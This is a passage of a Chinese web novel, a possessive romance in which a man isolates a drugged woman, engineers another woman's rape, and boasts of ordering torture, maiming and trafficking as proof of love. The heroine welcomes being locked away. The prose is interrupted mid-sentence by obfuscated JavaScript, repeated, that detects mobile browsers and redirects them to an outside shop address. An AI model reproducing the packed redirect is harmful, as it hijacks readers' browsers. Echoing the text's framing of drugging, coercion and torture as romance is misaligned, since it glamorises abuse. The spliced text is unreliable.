他抬起头,看着顶层那个亮着灯的窗口。 直到指间的烟燃尽,烫到了手指,他才回过神。 他将烟头丢在地上,皮鞋用力地碾灭。 火星在雪地里发出“滋”的一声,然后彻底熄灭。 …… 孟昭月只觉得浑身都在烧。 热。 好热。 她难受得想要哭。 “阿卿……” 她无意识地呢喃着那个名字。 一双微凉的大手搂住了她的腰。 她闻到了熟悉的甜腻的气息。 她下意识地搂住了冰凉的来源,身子不自觉地往他身上贴。 黑暗中,她只能感受到,对方的唇瓣贴着她耳廓。 时卿舟的声音低沉,带着一丝危险的诱哄。 “月月。” “你看,全世界,你只有我。” 第105章 除了我身边,哪里都是地狱 女孩的脸颊因为酒精药物潮红,可爱得像待人采摘的果实。 时卿舟看着她,那种想要将她彻底吞噬、拆吃入腹的冲动在血管里横冲直撞。 但他没有动,只是用指腹轻轻摩挲着她滚烫的脸颊。 “乖乖,看着我。” 他的声音低沉而蛊惑。 孟昭月费力地睁开眼,水雾迷蒙的眸子对上那双温柔的桃花眼。 “月月,你看。” 时卿舟的手指顺着她的脸颊滑落。 停在她脆弱的颈喉处,轻轻按压。 “这个世界多危险啊。” “所有人都在骗你,都在害你。” “所谓的朋友,都在背地里偷偷伤害你。” “所谓的亲人,也不过是把你当成联姻的工具。” “只有我,会把你捧在手心里,视若珍宝。” “除了我身边,哪里都是地狱。” 黑暗如同浓稠的墨汁,将房间里的每一寸空间都填满。 孟昭月的大脑混沌一片,根本无法思考他话里的深意。 她只觉得他的声音很好听,很安心,像是一根救命稻草。 她在无尽的混乱中找到了定向的导引。 “阿卿……只有阿卿……” 她喃喃重复着,拼命地往他怀里钻。 时卿舟任由她贴近,没有回应,也没有推开。 他在黑暗中静静地看着她沉沦的模样,眼底妄念翻涌。 “月月,告诉我。” 他稍稍拉开了一点距离,强迫她看着自己。 “你还需要朋友吗?” 孟昭月难受得眼泪都流出来了,她拼命地摇头,声音破碎。 “不要了……月月不要朋友了……” “只要阿卿……” “乖。” 时卿舟终于露出了满意的笑容。 他低下头安抚性地吻了吻女孩,并没有深入。 孟昭月难受极了。 她主动凑近不断亲着他,像只饿了的小猫,呜咽着乞求更多小鱼干。 “阿卿……难受……” 时卿舟垂眸看着女孩,勾唇看着他。 “求我。” 他想听。 他想听她求他。 孟昭月似乎没听清。 “求……?” “对,求我。” 时卿舟俯下身在她的耳畔低语。 用一种教小孩子说话的、极具耐心的语气,一个字一个字地,教她。 “说,‘求求你,老公’。” 孟昭月乖巧地,一字一句地复述。 “求求你……老公……” “然后呢?”时卿舟继续诱导。 “帮帮我。” “帮……帮帮我……” 她的声音已经带上了哭腔。 “乖。” …… 次日清晨,阳光透过窗帘的缝隙, 孟婉凝在一阵剧烈的头痛中醒来。 她动了动身子,浑身的酸痛让她忍不住倒吸一口凉气。 记忆像潮水般涌来——被强行灌药、被**、被送进这个房间…… 她猛地转过头。 身旁一个赤裸着上身的男人,正靠在床头吞云吐雾。 江浩宇。 江家那个出了名的二世祖。 “啊——!!!” 孟婉凝抓紧被子,缩到床角,脸色惨白如纸,浑身都在剧烈地颤抖。 怎么会是他?! 她明明……明明是想算计孟昭月的! 江浩宇被这一声尖叫吵得心烦意乱。 他不耐烦地将烟头按灭在床头柜的水晶烟灰缸里,转过头,一脸阴沉地看着孟婉凝。 “叫什么叫!一大早的哭丧呢!” 他现在的脸色比孟婉凝还要难看。 满心欢喜地以为送来的是那个娇滴滴的孟昭月。 昨晚爽完之后一开灯,看清身下人的脸,差点没把他吓萎了。 孟婉凝! 这女人虽然长得不错,但是孟廷凛的心头肉,孟家历来和江家关系紧密。 要是让自家老爷子知道他动了孟家的大小姐,非得把他皮扒了不可! 孟婉凝只觉得一阵天旋地转。 羞耻、愤怒、绝望交织在一起,让她几乎无法呼吸。 她自命清高,一直以孟家大小姐的身份自居。 暗恋着那个高高在上的小叔,幻想着有一天能站在他身边。 可现在,一切都毁了。 她竟然和江浩宇这种烂人上床了! “少他妈给老子装贞洁烈女!” 江浩宇冷笑:“昨晚是谁像条母狗一样缠着我不放的?” “现在爽完了开始装受害者了?” 这女人跟条死鱼一样,一点情趣都没有,还不如那些会所里的嫩模。 而且没准老爷子要让他负责。 妈的,他还没玩够的,还不想娶尊大佛回去供着。 他越想越气,也不管孟婉凝是什么反应,径直走进浴室洗澡去了。 孟婉凝瘫软在床上,眼泪止不住地流下来。 她恨。 恨江浩宇,恨时卿舟,更恨那个毫发无伤的孟昭月! 如果不是孟昭月,她怎么会落到这步田地! …… 另一间套房内,气氛却截然不同。 孟昭月是在一阵令人窒息的怀抱中醒来的。 宿醉的后遗症让她头痛欲裂。 她哼唧了一声,想要翻个身,却发现自己被禁锢得死死的。 她迷迷糊糊地睁开眼,入目是一片结实的胸膛。 视线上移,是时卿舟那张俊美的睡颜。 他还没醒,呼吸均匀。 手臂霸道地横在她的腰间,将她整个人都圈在怀里。 孟昭月眨了眨眼,大脑还有些当机。 昨天晚上…… 零碎的片段开始在脑海中回放。 清吧里的羞辱、**淮安带走、然后…… 然后是阿卿来了。 再然后…… “呀!”她惊呼一声,猛地拉起被子蒙住头,像只鸵鸟一样把自己藏了起来。 太丢人了! 她怎么会做出那样的事情? 时卿舟在睡梦中只觉得怀中一空,立刻就睁开了眼。 然后就看到了鼓起的被窝。 他低笑了起来,惹得孟昭月把被子裹得更紧了。 时卿舟伸手将被子拉下来一点,露出妻子红得快要滴血的小脸。 “躲什么?”他凑过去,亲了亲她滚烫的耳垂,“昨晚不是很热情吗?一直喊着老公……” 孟昭月却不小心瞥见了时卿舟露在被子外面的肩膀。 结实的肌肉上布满了一道道红色的抓痕。 孟昭月杏眼睁大。 是她弄的吗? 时卿舟顺着她的视线,也看到了抓痕。 往孟昭月跟前凑了凑。 “喏,时太太,凶得很。”可怜兮兮的。 孟昭月红着脸哼哼唧唧地说不出话。 惹得时卿舟没忍住又亲了亲她。 可爱**。 “走吧,带你去洗澡。”时卿舟直接抱起了孟昭月。 孟昭月连忙搂住他。 …… 浴室里,水雾缭绕。 温热的水流包裹着身体,缓解了些许酸痛。 孟昭月乖乖地坐在浴缸里,任由时卿舟帮她清洗。 他的动作很温柔,带着一种说不出的怜惜。 孟昭月靠在他怀里,舒服得眯起了眼睛。 突然,她的目光落在了洗手台上。 那里放着一个小药瓶。 上面的字让她愣住了。 避孕药。 她转头看向时卿舟,眼中满是疑惑。 “这个是……” 时卿舟正在帮她擦头发,闻言动作顿了一下,随即自然地回答:“避孕药。” 孟昭月:“我知道……是给我准备的?” 时卿舟轻笑,将下巴抵在她的肩头,声音温柔:“不是,那个是男性避孕药。” “我不确定你现在想不想要孩子。” “而且女性避孕药对身体不好,副作用大。” “就只能我吃了。” 孟昭月心里一暖,但还是有些疑惑: “可是……为什么要吃药啊?” “平时不是有用那个……吗?” 她的声音越来越小,脸也越来越红。 时卿舟欣赏了一会她害羞的样子,凑到她耳边,声音压低了几分,带着几分不正经的笑意。 “因为有时候玩得疯了,会忘记戴。” “还是吃药保险一点。” 孟昭月:“……” 她想起了昨晚的疯狂,脸更红了。 确实……好像……是有那么几次…… “可是……”她还是有些担心,“吃这种药……会不会对身体不好啊?” “会不会影响那啥啥……” 时卿舟被她这副操心的样子气笑了。 他伸手捏了捏她的脸颊,似笑非笑地看着她。 “受不受影响,时太太昨晚不知道?” “还是说……” 他的手顺着她的腰线下滑。 “时太太想现在再确认一下?” 孟昭月瞬间炸毛,一把拍掉他的手,整个人都缩起来警惕地看着他。 “不……不用了!我很确定!非常确定!” 像只炸毛的小猫。 时卿舟看得心痒痒,一把把人捞进怀里:“天天勾引我。” 孟昭月:“???” …… 洗漱完毕,两人换好衣服,准备去酒店的餐厅吃早餐。 电梯门“叮”的一声打开。 时卿舟牵着孟昭月正准备进去,看到电梯里已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808030|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了两个人。 江浩宇一脸阴沉,衬衫领口敞开着。 孟婉凝跟在他身后,戴着一副巨大的墨镜,遮住了大半张脸。 但依然能看出她脸色苍白,嘴唇没有一丝血色。 四目相对。 空气仿佛凝固了一般。 江浩宇在看到孟昭月的瞬间,满是震惊。 “孟昭月?!” 他失声叫道,目光死死地盯着她,又看了看她身边的时卿舟。 孟昭月:“?”这人认识我? 她眨了眨眼,有些懵。 旁边是……孟婉凝? 这男的是谁?孟婉凝对象? 而且看起来……气氛很不对劲? 江浩宇气得不行。 按照他的计划,孟昭月应该被他玩得死去活来才对! 为什么她会和时卿舟在一起? 而且看起来毫发无损,甚至还……容光焕发? 再联想到自己昨晚睡的孟婉凝,江浩宇瞬间反应过来了。 是被掉包了! 是时卿舟这个混蛋干的! 孟婉凝透过墨镜,死死地盯着孟昭月。 她恨,恨孟昭月被时卿舟这么维护,更恨自己的遭遇。 时卿舟的表情却始终淡淡的,甚至连眼皮都没有抬一下。 他只是侧过身,挡住了江浩宇那赤裸裸的视线,将孟昭月护在身后。 “借过。”带着惯有的温和。 江浩宇新仇旧恨涌上心头:“时卿舟!**敢阴我?!” 挥起拳头就朝着时卿舟砸了过去。 孟昭月虽然不知道发生了什么,但看到有人要打时卿舟,身体比脑子反应更快。 她下意识地往前跨了一步,挡在了时卿舟身前。 时卿舟的眼神瞬间变了。 他几乎同一瞬间一把将孟昭月拉回了自己的怀里,牢牢地护住。 与此同时,狠狠地一脚踹在了江浩宇上。 “砰!” 江浩宇重重地撞在电梯壁上,然后痛苦地蜷缩在地上,捂着肚子哀嚎。 孟婉凝被这突如其来的变故吓得连忙躲开了。 时卿舟冷冷瞥了江浩宇一眼,然后看向孟婉凝。 “孟大小姐,昨晚睡得可好?”他意味深长地问了一句。 “这只是开始。” 孟婉凝咬着嘴唇,一句话也说不出来。 …… 去餐厅的路上,时卿舟一直沉着脸,周身的气压低得吓人。 孟昭月小心翼翼地看了他一眼,小声叫道:“阿卿……” 时卿舟停下脚步,转身看着她。 那双平时总是含笑的桃花眼,此刻却是一片幽黑。 “孟昭月。” 他罕见地连名带姓地叫她。 “谁让你刚刚挡在我前面的?” 江浩宇那种废物伤不了人。 但他是时家人,想杀他的人多了去。 如果是更危险的情况,万一他来不及保护她…… 他眸眼中的阴郁翻滚不停。 孟昭月被他这副样子吓了一跳,缩了缩脖子,像只犯了错的小鹌鹑。 “我……我那是下意识的嘛……” 她小声辩解道。 “看到有人要打你,我就……” 时卿舟没有说话,只是盯着眼前的女孩。 孟昭月被盯得咽了咽口水。 突然时卿舟一把拉过她,用力狠狠地亲了她一口。 带着几分发泄的味道。 “下次再敢挡。” 他抵着她的额头,声音沙哑低沉,带着危险的警告。 “就把你……在床上。” 孟昭月:“???” 她猛地瞪大了眼睛,不可置信地看着他。 他……他刚才说什么? 什么……在床上?! 她好像听到了一句很不得了的话。 她还没来得及消化这句话,就被时卿舟拉着手,走进了餐厅。 …… 餐厅里人不多,环境优雅安静。 两人找了个靠窗的位置坐下。 孟昭月还在回味刚才那句“不得了”的话,脸上的红晕还没褪去。 就在这时,隔壁桌几个打扮精致的名媛的谈话声传了过来。 “哎,你们看抖音了吗?那个爆了的视频!” “你是说那个‘裸奔姐’吧?” “听说是昨晚在西门商区的中汇街,那里可全是高端会所啊。” “那女的光着身子在街上跳舞,还尿了一地!太恶心了!” “警察也是磨蹭来得晚,这女人都溜达好几圈了,才把她带走。” “我昨天正好去那边提包,亲眼看到了!简直是没眼看。” 孟昭月竖起耳朵听着,心里有些疑惑。 裸奔?跳舞? 这描述…… 她下意识地看向时卿舟。 第106章 怕 时卿舟正在优雅地切着盘子里的牛排,神色淡然,仿佛根本没听到隔壁的议论。 察觉到她的目光,他抬起头,对她温柔一笑。 “怎么了?不合胃口吗?” 他叉起一块切好的牛排,递到她嘴边。 “尝尝这个,味道不错。” 孟昭月张嘴吃下,嚼了嚼,味道确实很好。 但她心里的疑惑并没有消散。 “阿卿……”她咽下牛排,犹豫着开口,“她们说的那个……裸奔姐……” “无关紧要的人罢了。”时卿舟打断了她的话,语气随意。 “那种脏东西,不值得污了你的耳朵。” 他又给她倒了一杯果汁,动作宠溺而自然。 “多吃点,昨晚累坏了吧?” 孟昭月被他这么一打岔,注意力瞬间被转移了。 她红着脸接过果汁,小口小口地喝着,不再去想那个奇怪的八卦。 时卿舟欣赏着她乖巧吃东西的样子,眼底闪过一丝冷意。 许蔓。 那个不知死活的女人。 昨天晚上,所有参与羞辱孟昭月的人,他一个都没有放过。 不仅是肉体上的惩罚,更是从社会层面上,让他们彻底死亡。 那个裸奔的视频,是他让人放出去的。 并且买了热搜,推到了全网第一。 现在,许蔓这个名字,已经彻底臭了。 当然,就像他警告孟婉凝的一样,这只是开始。 …… 早餐结束后,两人离开了酒店。 车上,时卿舟搂着怀里的女孩,随口问道:“接下来有什么想做的吗?” 孟昭月想了想,说道:“前几天小叔跟我提过,让我回一趟孟家。” 时卿舟揽着孟昭月臂膀的手,手指一下一下地轻敲着她的手臂。 “这次他们又是用什么理由要你回去?” 孟昭月在时卿舟话里蹭了蹭,找了个舒服的位置。 “是因为我们领证的事啦。” “说是什么对孟家和顾家的影响不太好,让我回去给个交代云云。” 似乎感觉到对方手指的动作停了下来。 孟昭月抬起头,只看到男人看着自己的神色依旧温柔,但那双桃花眼中却没有什么温度。 “你不开心吗?”她问。 时卿舟把孟昭月往怀里揽了揽。 “我只是觉得,你每次去孟家都会受气。” 他的声音平稳,听不出太大的情绪起伏,但话语里的回护之意却很明显。 “我不喜欢那里。” 孟昭月沉默了一会儿,她把脸埋进时卿舟话里,语气郁闷。 “我也超级不喜欢孟家诶。” “我跟他们根本不熟。每次搭理他们,全靠我那点仅剩的教养在撑着。” 她叹了口气,有些苦恼地皱起眉。 “不过这次好像顾家那边挺生气的……听说顾家家主都亲自打电话质问了。” 时卿舟闻言,轻笑了一声。 他伸出手,捧起孟昭月的脸,强迫她抬起头,直视自己的眼睛。 “看着我,月月。” 他的拇指轻轻摩挲着她细腻的脸颊,眼神专注而深沉。 “你是我时卿舟的女人。” “在这个世界上,你不需要看任何人的面子。” “不管是孟家,还是顾家。” 他的语气平静,却透着一股睥睨一切的傲慢。 孟昭月看着他,眨了眨眼。 “那……你父亲的面子呢?”她轻哼了一声,语气里带着几分试探,“别忘了,我身体里还有他下的毒呢。” 空气突然安静了一秒。 时卿舟的手指僵了一下。 他的目光有些不自然的移开。 孟昭月敏锐地察觉到了他的异常。 她眯起眼睛,凑近了他几分。 “怎么了?阿卿……是不是有什么事瞒着我?” 时卿舟轻咳了一声,重新看向她,眼神有些闪烁。 “其实……那个药,不是**。” 孟昭月:“?” “那是江浩奚特制的美容针。”时卿舟的声音低了下去。 “除了能让你皮肤变好一点,没有任何副作用。” 孟昭月愣住了。 时卿舟解释了一下他提前就得知消息然后安插了人。 孟昭月张了张嘴,好半天才反应过来。 “所以……我这段时间一直担惊受怕,以为自己要**……” 她还怕时卿舟受挫,一直没表现出来, 合着全是浪费感情了?! 她气得伸手去捏他的脸。 “时卿舟!你混蛋!” 时卿舟任由她掐着,他抓住她的手,放在唇边亲了亲。 “对不起,宝宝。” “当时情况紧急,我怕你知道真相后演得不像,骗不过时费那个老狐狸。” 他故意软下了语气。 “我错了,月月宝宝,以后再也不敢了。” 他一边说着,一边像只大狗狗一样蹭着她的颈窝。 温热的呼吸喷洒在她的皮肤上,惹得她缩了缩。 孟昭月被他蹭得没了脾气,只能气呼呼地推开他的脑袋。 “下不为例!” “好,下不为例。”时卿舟立刻保证。 他重新将她揽入怀里,下巴抵在她的头顶。 声音温柔,眸子却逐渐染上冷意。 “至于我父亲的面子……” “月月也不用给。” “过段时间,那个老不死的就知道学乖了。” 孟昭月听着这话有些迷糊。 总觉得……他好像在策划什么很可怕的事情。 不过,既然他说不用担心,那她就不担心了。 “虽然这么说,但我还是决定去一趟孟家。”孟昭月说道。 “把话说清楚,省得他们以后总是拿这件事来烦我。” 时卿舟声音温柔:“好,我陪你去。” 他看了一眼怀里的女孩:“不过我们得先准备一下……” 孟昭月:“准备什么?” 时卿舟:“回门的衣服。” “省得孟家那群人,又拿着我家月月的出身说事。” …… L''?0?7clat的私定设计师买手店。 这时最新一季的ANDAM时尚大奖得主在C国的唯一直营店。 一般所谓的“老钱”很少穿“过于大众”的牌子,更倾向于高端化、个性化、人文化的私定。 特别孟家夫妇自诩有文化底蕴的清流。 而名为GasparddeLaBriffe的设计师的设计品更是难求。 这家店的衣服都是时卿舟找人委托这位比利时设计师,专门为孟昭月设计的款式。 每一件都独一无二。 店长显然早就接到了通知,带着几名导购恭敬地候在门口。 “时先生,时太太,欢迎光临。” 时卿舟微微颔首,目光扫过店内陈列的各式华服。 “从这边到那边的……都拿下来试试。” 店长连忙动作。 孟昭月换衣服期间。 时卿舟则坐在外面的沙发上,随手翻看着一本杂志,耐心地等待着。 看到最新副议长候选人变更的消息,时卿舟的目光顿了顿。 看来顾青珩已经在行动了。 他也得快些了。 他是丝毫不会怀疑顾青珩拿到权柄后,会直接动**人。 权力…… 果然是个好东西。 没过多久,试衣间的帘子拉开了。 孟昭月乖乖巧巧地走了出来。 裙子贴合着她的身体曲线,肌肤胜雪。 抹胸的设计露出了她精致的锁骨和圆润的肩头,腰间收紧,勾勒出盈盈一握的纤腰。 时卿舟放下手中的杂志,目光在她身上停留了许久。 眼底的惊艳毫不掩饰。 他站起身,走到她面前。 “很美。”他的声音低沉沙哑,带着几分压抑的火热。 孟昭月脸颊微红,有些不自在地扯了扯裙摆。 “会不会……太露了?” “不会。”时卿舟摇了摇头。 他伸出手,指尖轻轻滑过她裸露在外的肩头,引起一阵细微的战栗。 “正好。” 他说着,招了招手,立刻有人将配套的钻石项链递了过来。 “转过去。” 孟昭月乖乖转身。 冰凉的金属触感贴上后颈。 时卿舟低着头,动作轻柔地为她戴上项链。 他的呼吸喷洒在她的颈窝,有些痒。 扣好搭扣后,他并没有立刻离开。 而是俯下身,在她的耳垂后,落下一个轻柔的吻。 “这件,包起来。” 接下来的时间里,孟昭月就像个洋娃娃一样,被时卿舟一件件地换装、打扮。 从优雅的长裙到干练的套装。 每一套衣服都有时卿舟直接现场让人送来的配套的昂贵珠宝配饰。 每一次换装出来,都能看到男人眼中毫不掩饰的赞赏和痴迷。 他不仅负责刷卡,还亲自上手帮她整理衣领、调整配饰。 动作娴熟而温柔,仿佛这种事他已经做过千百遍。 孟昭月一开始还试穿几件,后来累得实在不想动了,干脆坐在沙发上,任由他折腾。 “阿卿,够了吧?”她看着堆积如山的盒子,有些无奈,“我穿不完的。” “慢慢穿。”时卿舟拿起一双镶满碎钻的高跟鞋,半跪在她面前,握住她的脚踝,轻轻帮她换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她都丢了这么大一个**,他怎么还能像个没事人一样,一丁点反应都没有? 孟昭月撇了撇嘴,继续问“许蔓的事是你做的吗?为了我?” “呵……”这一次,时卿舟没有再沉默:“是。” 那双桃花眼里,原本温和的伪装彻底撕裂,露出了底色里浓稠的黑暗与疯狂。 他勾起唇,问: “怕吗?” 孟昭月看着他眼底翻涌的风暴。 怕? 为什么要怕? 她只觉得……兴奋。 那种被人在乎、被人保护、被人为了她而不惜毁灭一切的快感,瞬间席卷了她的全身。 她直接扑进了他的怀里,双手紧紧地抱住了他的脖子。 “我才不害怕。” 她在他的颈窝里蹭了蹭,声音里满是依赖和欢喜。 “阿卿是为了我,我为什么要害怕?” “只要是阿卿做的,我都喜欢。” 时卿舟感受着怀里女孩的体温,听着她毫不犹豫地回答。 心底那头一直被囚禁的野兽,彻底挣脱了枷锁。 他猛地收紧手臂,将她死死地按在自己怀里。 力道大得仿佛要将她揉进自己的骨血里。 “不单单是许蔓,我的宝贝。” 他在她耳边低语,宛如来自地狱的恶魔。 “那个穿红裙子的女人,她不是总说我们月月吗?” “我让人割了她的舌头,用硫酸毁了她的脸。” “然后把她丢进了非洲最混乱地区的红灯区。” “让她用她最引以为傲的身体,去服务那些最肮脏的客人。” “那个戴眼镜的男人,他不是喜欢看那些聊天记录吗?” “我让人挖了他的眼睛,做成标本。” “然后在他家里装满了摄像头,暗网上二十四小时直播他像蛆一样在黑暗里蠕动的丑态。” “还有那个满脸痘印的男人,他不是想碰你吗?” “我让人挑断了他的手筋脚筋,阉了他。” “然后把他做成了人彘,泡在**里,求死不能。” “至于被警察带走后的许蔓……” 他轻笑了一声,没在继续说。 但是其中深意已在不言中。 他就是这样。 你的天使,就是这样的。 月月…… 哪怕你感到恐惧或厌恶,都已经晚了。 第107章 告白,病娇版 那些混着血腥味的话,他一句一句地说着。 男人那双漂亮的桃花眼却低头看着怀中的珍宝。 他在观察。 他在审视。 他在等待那一丝一毫可能出现的恐惧、厌恶,或者是逃离的冲动。 只要她露出一点点那样的神色…… **自己会做出什么。 也许会把她做成永远不会背叛的人偶。 也许会跪在地上求她别走,然后用锁链把她锁在地下室最深处的房间里。 可是,没有。 什么都没有。 那双漂亮得让他痴迷的杏眼,就那么乖乖巧巧地看着他。 像是在看一朵盛开的花,又像是在看一个刚刚献宝完等待夸奖的孩子。 她在放纵他。 怎么就……这么乖呢? 时卿舟感觉自己胸腔里腐烂的心脏,突然剧烈地跳动了一下。 他心里的野兽在慢慢伸出爪子。 “不仅仅是许蔓。” “还有很多人,月月。” “所有欺负过你的人,一个都跑不掉。” 他声音越来越沉,疯狂也越来越浓。 既然她不跑,既然她愿意纵容。 那他就再贪婪一点。 再疯狂一点。 好不好? 他的月月。 “我会让孟婉凝求生不得,求死不能。” “我会亲手杀了孟廷凛。” “我会让时莉莉在无尽痛苦中一遍遍死亡,哪怕她会复活。” “所有伤害过你的、觊觎过你的、阻止我拥有你的……” “我都会把他们碾成齑粉。” 他低下头,那双漂亮的桃花眼里,是浓稠到化不开的疯狂,却又温柔到可怕。 “然后,我会把你关起来,关在一个只有我知道的地方。” “让你永远看着我,永远属于我一个人。” “生生世世,血肉相融。” 说完这一切,他死死地盯着她的眼睛。 那双桃花眼里翻涌着浓稠的墨色,那是足以吞噬一切的疯狂爱恋。 “这样的我……” “月月,你害怕吗?” 空气死寂。 孟昭月看着眼前这个男人。 他的眼神是那么的疯狂,那么的偏执。 像是一团要把世界都烧毁的黑火。 可是…… 好棒。 真的好超级棒诶。 心脏在胸腔里剧烈地跳动着。 “咚咚、咚咚、咚咚——” 这就是被爱着的感觉吗? 这就是被一个人毫无保留、不顾一切地渴望着的感觉吗? 她要的,就是这种。 这种能把她烧成灰烬,再和他在灰烬里重生的爱。 她好幸福。 幸福得快要晕过去了。 孟昭月没有回答。 下一秒。 她做出了一个让时卿舟都始料未及的动作。 她直接翻身,跨坐到了时卿舟的腿上。 裙摆散开,像一朵盛开的花,覆盖在他黑色的西装裤上。 时卿舟浑身一僵。 他下意识地伸手托住了她的臀,防止她掉下去。 孟昭月居高临下地看着他,那双杏眼里此刻燃烧着和他如出一辙的火焰。 那是病态的、狂热的、孤注一掷的爱意。 “对,时卿舟。” “就是这样。” “就这样爱着我。” “永远这样爱着我。” 她的声音软软糯糯的、甜美的,多么清甜可爱。 像是罪恶之神的诱语。 他的神明。 在引诱他堕落。 “阿卿,就这样只看着我。” “你一切的注意力都在我身上。” 她白嫩的手指,没入他浓密的发间,强迫他仰起头看着自己。 她低头看着仰视自己的男人。 她凑得很近,几乎要厮磨到他唇。 那甜软的香味几乎要让他失控。 “你的爱,你的欲念,你的偏执,你的灵魂……全都是我的。” “就这样对我疯狂,对我痴迷。” “满心满眼都是我,再也装不下任何别的东西。” 她看着他那双放大的瞳孔,笑得愈发甜美。 “因为……” “我也是这么爱你的呀,阿卿。” 时卿舟彻底疯了。 理智的那根弦在这一刻彻底崩断。 他猛地收紧手臂,死死地锢着她纤细的腰肢,仰头看着他的神明。 “月月……月月……” 他语无伦次地呢喃着她的名字,像是在念诵最神圣的咒语。 “我是你的……我的一切都是你的……” “只要你要,只要我有。” “别离开我……求你……别离开我……” “我们要永远在一起……” 他再也忍不住疯狂地吻着她。 从嘴唇到脖颈,每一寸肌肤都不放过。 那是野兽对伴侣的标记,是恶鬼对祭品的吞噬。 他们是如此的疯狂。 如此的般配。 如此的……天生一对。 ...... 与此同时,孟家庄园。 孟婉凝失魂落魄地走进了自己的房间。 江浩宇那个畜生…… 她死死地咬着嘴唇。 “系统……现在怎么办?” 她在脑海里问道,声音颤抖。 【孟婉凝……女主角第一次……应该是留给男主角的。】 【你怎么能……失去贞洁?】 系统的女声有些断断续续地夹杂着电流声,过了一会才恢复正常 它的声音重了一些,显然很生气。 【你这是属于女主角失格!我也会受到影响的!】 【你到底懂不懂?】 孟婉凝心里的委屈和愤怒更甚。 “怪我吗?!还不是因为那个孟昭月!如果不是她……” 【够了!】 系统严厉打断了她。 【现在不是推卸责任的时候。】 【孟婉凝,不要再做出任何不符合女主角身份的事情了!】 【记住你是独立、清醒、永远光芒万丈的大女主。】 系统停顿了一下,似乎在快速计算着最优解。 【现在,立刻去找孟廷凛。】 【表现出你是被迫的!是受害者!】 【但同时又要展现出你即使遭受了这种打击,依然坚强不倒的性格!】 【稳住你作为女主角的人格。】 孟婉凝深吸了一口气,努力平复着自己的情绪。 她迅速调整了一下自己的表情,让眼眶微微泛红,却又倔强地不让眼泪流下来。 然后,她推开门,朝着孟廷凛的书房走去。 书房里,孟廷凛正站在窗前,看着窗外的雪景出神。 听到开门声,他回过头。 看到孟婉凝那副摇摇欲坠、却又强撑着坚强的模样。 他眉头微蹙,快步走了过来。 “婉凝?怎么了?” 孟婉凝看着他,眼泪终于像断了线的珠子一样滚落下来。 她猛地扑进孟廷凛的怀里,双手紧紧抓着他的衣襟,哭得梨花带雨。 “小叔……我……我……” 她哽咽着,断断续续地将“昨晚发生的事情”说了出来。 当然,是经过她精心加工过的版本。 在她的叙述里,她只是好心去参加朋友的聚会,结果被时卿舟的人下药。 言语间暗示,是孟昭月怂恿时卿舟这么做的。 “我,我昏迷期间……好像听到了妹妹的声音……” “小叔,是不是我听错了?妹妹她……她怎么会害我呢?” “可是给我灌药的人,就是姜特助……” 她哭得几乎喘不上气来,身体在孟廷凛怀里剧烈地颤抖着。 “小叔……我好脏……我没脸见人了……” 孟廷凛的身体僵住了。 他不敢置信地听着孟婉凝的哭诉,大脑有一瞬间的空白。 廷凛闻言,身体猛地一僵。 孟昭月? 时卿舟? 如果是时卿舟那个疯子,确实做得出来这种事。 可昭月…… 他想起那个女孩乖巧的模样,心中一阵刺痛。 她真的……变得这么恶毒了吗? 他伸出手,轻轻拍着孟婉凝的后背,声音低沉而压抑。 “别怕,婉凝,别怕。” 孟婉抬起头,泪眼朦胧地看着他,语气里满是祈求。 “小叔……这件事……能不能别告诉爸爸妈妈?” “我不想让他们担心……” 孟廷凛看着她这副脆弱又坚强的模样,心里一阵刺痛。 “好,我不告诉他们。” 他安抚着她。 “你先回去休息,这件事交给我来处理。” “我会去江家和时家交涉,一定会给你一个公道。” ...... 另一边,前往孟家庄园的路上。 黑色的法拉利平稳地行驶在公路上。 车后座的隔板早已升起。 孟昭月气鼓鼓地坐在真皮座椅上 “都怪你!” 她抱怨的声音都是软软糯糯的,听得时卿舟都是心痒痒的。 孟昭月伸出手指,戳了戳身边男人的腰侧。 那里的肌肉紧实硬朗,戳得她手指都有点疼。 “明明说好要早点去孟家的。” “结果……结果你非要……” 她脸红了红,没好意思把后面的话说出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828713|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“愣是拖了那么长时间!” “而且还让人家造型师一直在外面等着。” “人家肯定在心里各种蛐蛐我们了……” 时卿舟一把抓住了她作乱的手指。 他侧过头,眼底满是餍足后的慵懒和笑意。 “不会的。” “耽误的时间,是按照三倍的报酬给造型师算的。” “那位造型师……估计还巴不得我们多耽误一会儿呢。” 他说着,凑近了孟昭月几分,声音压低,带着调侃。 “只可惜……时太太身体太娇弱了,身子受不住。” “不然……” 他的目光在她身上扫了一圈,意味深长,却声音温柔。 “我还能再让造型师多赚些‘加班费’的。” “你!” 孟昭月的脸瞬间爆红,她羞恼地咬了咬唇。 看着笑得一脸温柔的时卿舟。 她眨了眨眼,突然凑近了时卿舟。 白白软软的小手,往他某住,按了一下。 时卿舟的身体猛地一僵。 他连忙一把抓住那只胆大包天的小手。 眼神瞬间变得幽深无比,直勾勾地盯着她。 “宝宝。” 他的声音有些哑,带着危险的警告。 孟昭月一脸无辜地眨了眨眼。 